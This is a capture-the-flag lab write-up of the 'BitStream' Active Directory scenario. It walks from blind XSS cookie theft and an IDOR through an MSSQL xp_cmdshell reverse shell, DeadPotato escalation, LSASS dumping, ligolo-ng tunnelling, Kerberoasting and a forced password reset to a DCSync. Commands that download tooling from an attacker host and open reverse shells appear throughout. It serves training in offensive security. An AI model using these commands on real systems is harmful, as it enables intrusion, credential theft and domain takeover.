> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/bitstream.md). # BitStream {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Objective/Scope BitStream is a cloud storage provider that hosts sensitive data for enterprise clients. They have segmented their internal Active Directory environment (bitstream.hsm) and requested a full penetration test of their environment. You have been provided with VPN access to their Active Directory environment. ## Summary

Summary

In BitStream, we begin with external enumeration and discover a web server on port `80` alongside SSH on port `22`. Manual browsing reveals a login page and a quote submission form at `/quote`. Testing the submission form for blind XSS, we craft image-based payloads targeting individual fields and confirm execution via a callback on the `requirements`field. A follow-up payload captures a valid session cookie, granting access as `joey@bitstream.hsm`. Inside the employee portal, we discover an IDOR vulnerability in the messaging endpoint at `/portal/messages/`, allowing us to iterate through message IDs and read conversations belonging to other users. Enumerating through the messages, we recover credentials for `sql_svc`. With these credentials we authenticate to the MSSQL server on `10.0.1.7` via `mssqlclient.py` and confirm `xp_cmdshell`execution, establishing a reverse shell as `nt service\mssql$sqlexpress`. Noticing `SeImpersonatePrivilege` is enabled, we leverage `DeadPotato` to escalate to `NT Authority\System` and dump the local administrator hash via its built-in Mimikatz functionality. Connecting via `evil-winrm`, we run `PrivescCheck` and uncover plaintext credentials for `bob` stored in WinLogon, then dump `lsass` with `blindsight` to extract his NTLM hash. With `bob` as a foothold domain user, we tunnel through the SQL server using `ligolo-ng` to reach the domain controller in the segmented subnet. BloodHound enumeration via `bloodyAD` identifies `eddie` as Kerberoastable. We extract and crack his hash offline with `hashcat`, then RDP into the workstation as `eddie`. Inspecting saved browser credentials in Edge, we recover credentials for `luisa`. BloodHound reveals `luisa` holds `GenericAll` over `james`, allowing a forced password reset. With `james` we access the `Scripts` SMB share on the file server, where an AD backup script exposes credentials for `svc_backup`. This account holds `GetChanges`/`GetChangesAll` permissions on the domain, enabling a DCSync attack via `secretsdump.py` to retrieve the domain Administrator hash and achieve full domain compromise.

Changelog

The Windows Build of the machines had to be patched to prevent unintended kernel exploits. Unfortunately, that breaks `pypykatz` because it doesn't work with the latest Server 2025 build. The tool `pypykatz` was used to dump the hashes and retreive the cleartext password of `bob`. As a workaround, you can use the KvcForensic tool, which was featured in the Guided Lab: Attacking LSASS: However, this only gives us `bob`'s NT hash, which can be cracked.\ The wirte-up has been updated.

## Recon We use `rustscan -b 500 -a 10.0.0.5 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.0.0.5 --top -- -sC -sV -Pn ``` {% endcode %}

This is the public facing target running a web server on port 80 and we also have SSH available.

We will first enumerate the site manually {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/ ``` {% endcode %}

We find a login page, but it doesn't appear to allow us to enumerate users with the error messages. We haven't tested the timing yet. However, we haven't yet identified any known username-email combinations from the initial enumeration.

We can submit a quote. It might be reviewed by another user. This could be a vector for blind XSS to steal a session cookie for example. {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/quote ``` {% endcode %}

## web.bitstream.hsm ### Access as We want to test for blind XSS. To do this, we'll set up a web server and design our XSS payloads so that, if they are successfully executed, they connect to our web server. {% code overflow="wrap" expandable="true" %} ``` python -m http.server 80 ``` {% endcode %}

To determine which field was critical when an XSS attack was possible, we distinguish between the field names in our payloads based on the directory we are targeting. {% code overflow="wrap" expandable="true" %} ``` ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` ``` {% endcode %}

We get a connection back on the requirements field.

Next, we prepare a payload to capture the cookies... {% code overflow="wrap" expandable="true" %} ``` ``` {% endcode %}

... and we successfully retrieve a session cookie.

We add this to the storage of our browser and get a session as `joey@bitstream.hsm`.

In the employee portal, we can access support tickets, quotes, and a internal messaging portal. {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/portal ``` {% endcode %}

We access the messages. {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/portal/messages ``` {% endcode %}

Our first message starts with ID 3. {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/portal/messages/3 ``` {% endcode %}

Lets test if we can access other messages by changing the id. And we are able to read the messages between tommy and jon. We have an IDOR / BOLA infront of us. A BOLA (Broken Object Level Authorization) or IDOR (Insecure Direct Object Reference), is a vulnerability where an application fails to verify that the authenticated user has permission to access a specific object {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/portal/messages/1 ``` {% endcode %}

We iterate through the messages and finally find the credentials of `sql_svc`. {% code overflow="wrap" expandable="true" %} ``` http://10.0.0.5/portal/messages/27 ``` {% endcode %}

## sql.bitstream.hsm ### Shell as nt service\mssql$sqlexpress The network appears to be segmented between the WEB on EXT, SQL, and FILE SHARE services and the workstations on Subnet 2 according to the network diagram. However, this is not the case; at the very least, we can directly access the devices in Subnet 2. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.0.1.7 --top -- -sC -sV -Pn ``` {% endcode %}

With the found credentials we try to connect to the mssql server. We will be using impackets `mssqlclient.py` and the following cheatsheet. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` mssqlclient.py 'sql_svc:REDACTED'@10.0.1.7 ``` {% endcode %}

We're testing whether we can run commands using the `xp_cmdshell`, and it works. We are `mssql$sqlexpress`. {% code overflow="wrap" expandable="true" %} ``` EXEC xp_cmdshell 'whoami'; ``` {% endcode %}

We prepare a powershell reverse shell using `revshells.com`.

Next, we set up a listener using Penelope. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` penelope -p 4445 ``` {% endcode %} We execute the reverse shell payload... {% code overflow="wrap" expandable="true" %} ``` EXEC xp_cmdshell 'powershell -e '; ``` {% endcode %}

... and receive a connection to our listener. We can see that we have `SeImpersonatePrivilege` enabled.

### Shell as Administrator The `SeImpersonatePrivilege` is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several Potato exploits available that allows to escalate to `NT Authority\System`. While testing the GodPotato and EfsPotato was not working. But there are many more. Like DeadPotato. {% embed url="" %} We download the exploit to the target system... {% code overflow="wrap" expandable="true" %} ``` curl http://192.168.211.2/DeadPotato-NET4.exe -o DeadPotato-NET4.exe ``` {% endcode %} ... and execute it. It suggest serveral options, like running command, running mimikatz or sharphound. This tool is fullfledged. {% code overflow="wrap" expandable="true" %} ``` .\DeadPotato-NET4.exe ``` {% endcode %}

To confirm the exploit is working we issue a `whoami` command using the exploit and we see we are `NT Authority\System`. {% code overflow="wrap" expandable="true" %} ``` .\DeadPotato-NET4.exe -cmd whoami ``` {% endcode %}

Next, we try to dump the SAM and SYSTEM secrets and are able to retrieve the local administrator hash. {% code overflow="wrap" expandable="true" %} ``` .\DeadPotato-NET4.exe -mimi sam ``` {% endcode %}

We could also spawn a reverse shell. Since we are running Penelope we can deatach the current session using `CTRL+D` or `F12` (depends on the target system it is connected) and select the session. We are `NT Authority\System` but we do not have an elevated shell. {% code overflow="wrap" expandable="true" %} ``` .\DeadPotato-NET4.exe -rev 192.168.211.2:4445 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` CTRL+D ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` sessions 2 ``` {% endcode %}

### Bob's credentials and hash We connect to the the SQL server as Administrator using evil-winrm with the Administrators hash. {% code overflow="wrap" expandable="true" %} ``` evil-winrm -i 10.0.1.7 -u Administrator -H 'REDACTED' ``` {% endcode %}

From there we run `PrivescCheck.ps1`, a tool similar to WINPeas or PowerUp. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` upload PrivescCheck.ps1 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML" ``` {% endcode %}

We download the report... {% code overflow="wrap" expandable="true" %} ``` download PrivescCheck_SQL.html ``` {% endcode %}

... and we see the Credentials were set in WinLogon for the user bob.

But we also need the hash. To dump the lsass we are using a tool called blindsight. We compile it like shown in the repository. {% embed url="" %} Next we upload and run the tool. {% code overflow="wrap" %} ``` upload blindsight.exe ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` .\blindsight.exe ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` .\blindsight.exe .\.log ``` {% endcode %} The resulting lsass.dmp file is a large file, the download may take a while. {% code overflow="wrap" expandable="true" %} ``` download lsass.dmp ``` {% endcode %}

To extract the hashes from the dump we are using `pypykatz`... but we do not receive the password of bob with the latest Server 2025 build and the used version of pypykatz. {% code overflow="wrap" %} ``` pypykatz lsa minidump lsass.dmp ``` {% endcode %}

But we have a workaround ready using KvcForensic also highlighted in thefree Guided Lab: Attacking LSASS: {% embed url="" %} We download the latest version of KvcForensics from . Next we make the static version executable and run it. {% code overflow="wrap" %} ``` ./KvcForensic_static --analyze-dump \ --input lsass.DMP \ --output result.txt \ --templates KvcForensic.json \ --format both --full --reveal-secrets ``` {% endcode %}

We inspect the results and have data for the user `bob`. Unfortunately, in this case, we don't have the password in plain text as we did before, but we do have the NT hash, which we can crack.

{% code overflow="wrap" %} ``` hashcat -a0 -m 1000 'REDACTED' /usr/share/wordlists/rockyou.txt ``` {% endcode %}

*** **DEPRECATED** {% code overflow="wrap" expandable="true" %} ``` pypykatz lsa minidump lsass.dmp ``` {% endcode %}

... and we spot the hash for bob.

*** ## Ligolo-ng setup Now that we have a domain user, let's try to enumerate the domain. However, the domain controller is located in subnet 3, which is actually segmented. So we need to tunnel our traffic, because the DC is accessible from the SQL Server.

We will be using the latest release `v0.8.2` of ligolo-ng: {% embed url="" %} First, we run a proxy. {% code overflow="wrap" expandable="true" %} ``` sudo ./proxy -selfcert ``` {% endcode %} Inside that proxy we create an interface called `bitstream`.

Now, we add the DCs IP as routes in CIDR notation. {% code overflow="wrap" expandable="true" %} ``` ifcreate --name bitstream ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` route_add --name bitstream --route 240.0.0.1/32 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` route_add --name bitstream --route 10.0.2.5/32 ``` {% endcode %}

Next, we upload an agent and connect to our proxy. {% code overflow="wrap" expandable="true" %} ``` upload agent.exe ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` ./agent -connect 192.168.211.2:11601 --ignore-cert ``` {% endcode %}

We can list and interact with the session by calling `session` and then chosing the session. The following screenshot illustrates the steps taken. {% code overflow="wrap" expandable="true" %} ``` session ``` {% endcode %} After chosing the session, we can start the tunnel. {% code overflow="wrap" expandable="true" %} ``` tunnel_start --tun bitstream ``` {% endcode %}

We should now be able to reach out to the `DC01`. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.0.2.5 --top -- -sC -sV -Pn ``` {% endcode %}

We test the credentails of `bob` using NetExec and successfully authenticate agains the domain controller. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.2.5 -u bob -p REDACTED --shares ``` {% endcode %}

We do not find any shares, but we issue the following command to generate an entry for our `/etc/hosts` file. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.2.5 -u bob -p REDACTED --generate-hosts-file hosts ``` {% endcode %}

We add the following entry to our `/etc/hosts` file. {% code overflow="wrap" expandable="true" %} ``` 10.0.2.5 DC01.bitstream.hsm bitstream.hsm DC01 ``` {% endcode %} Now that we have access to the domain controller and have confirmed that bob's credentials also work for the domain controller, we're going to try to enumerate the domain. Unfortunately, most of the collectors fail. However, we've had success using bloodyAD. {% code overflow="wrap" expandable="true" %} ``` bloodyAD --host DC01.bitstream.hsm -d bitstream.hsm -u bob -p REDACTED get bloodhound ``` {% endcode %}

Next we ingest the collected data to our BloodHound instance. The user `bob` is just a domain user without any privileges.

But we check for keberoastable user and spot `eddie`.

We can perform a kerberoast using Netexec. {% code overflow="wrap" expandable="true" %} ``` nxc ldap DC01.bitstream.hsm -u bob -p 'REDACTED' --kerberoasting kerberoastable.txt ``` {% endcode %}

Next, we crack the hash. {% code overflow="wrap" expandable="true" %} ``` hashcat -a0 -m13100 kerberoastable.txt /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt ``` {% endcode %}

## wkst.bitstream.hsm The workstation does not provide any services besides two open ports for remote desktop and remote management. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.0.1.6 --top -- -sC -sV -Pn ``` {% endcode %}

### Shell as eddie We test the credentials of eddie gathered via kerberaosting and are able to authenticate via RDP. Note, that the admin flag might be a false-positive in this case. {% code overflow="wrap" expandable="true" %} ``` nxc rdp 10.0.1.6 -u eddie -p 'REDACTED' ``` {% endcode %}

We connect to the target as eddie using remmina.

### Access as luisa We do not find any services or scheduled task runnig. But there is the edge browser. Let's check if that holds any saved credentials. There is one entry for gitlab.

We open the entry and find the credentials of `luisa`.

We test the credentials on the SHARE and succesffuly authenticate. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.1.5 -u luisa -p 'REDACTED' --shares ``` {% endcode %}

## share.bitstream.hsm {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.0.1.5 --top -- -sC -sV -Pn ``` {% endcode %}

Every credential gathered so far were tested on the SHARE server but without success. We were only able to identify a share called Scripts. This might hold some valuable / sensitive information burried in the scripts. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.1.5 -u bob -p 'REDACTED' --shares ``` {% endcode %}

Also with `luisa` we are not able to read the share. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.1.5 -u luisa -p 'REDACTED' --shares ``` {% endcode %}

### Access as james We check back our BloodHound enumeration and see that luisa has GenericAll permissions over jamses. This allows to change the password of the user james.

We change the password of james to our liking. {% code overflow="wrap" expandable="true" %} ``` bloodyAD --host DC01.bitstream.hsm -d bitstream.hsm -u luisa -p 'REDACTED' set password 'james' 'Pwned123@!' ``` {% endcode %}

Next, we connect to the share server again. This time we are able to read the Scripts share. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.0.1.5 -u james -p 'Pwned123@!' --shares ``` {% endcode %}

## DC01.bitstream.hsm ### Access as svc\_backup We connect to the share using impackets smbclient.py. Inside that share we find four scripts. {% code overflow="wrap" expandable="true" %} ``` smbclient.py bitstream.hsm/james:'Pwned123@!'@10.0.1.5 ``` {% endcode %}

The Automated-AD-Backup script holds the credentials of `svc_backup`.

Next, we test the credentials using NetExec and are successful. {% code overflow="wrap" expandable="true" %} ``` nxc smb DC01.bitstream.hsm -u svc_backup -p 'REDACTED' --shares ``` {% endcode %}

Unfortunately we cannot get an interactive session using impackets smbexec.py. We can access the C drive through smbclient, but do not have sufficient permssion to reach the flag in the Administrators Desktop. {% code overflow="wrap" expandable="true" %} ``` smbexec.py bitstream.hsm/svc_backup:'REDACTED'@DC01.bitstream.hsm ``` {% endcode %}

### Shell as Administrator The `svc_backup` user has `GetChanges`/`GetChangesAll` permissions on the domain, allowing us to perform a DCSync attack and retrieve password hashes for any domain account.

We perform the DCSync via impackets secretsdump.py and are able to retrieve the Administrator hash from the DC. {% code overflow="wrap" expandable="true" %} ``` secretsdump.py 'svc_backup:REDACTED@DC01.bitstream.hsm' ``` {% endcode %}

We connect to the DC using evil-winrm as the administrator and find the final flag at `C:\Users\Administrator\Desktop\root.txt`. {% code overflow="wrap" expandable="true" %} ``` evil-winrm -i DC01.bitstream.hsm -u Administrator -H 'REDACTED' ``` {% endcode %}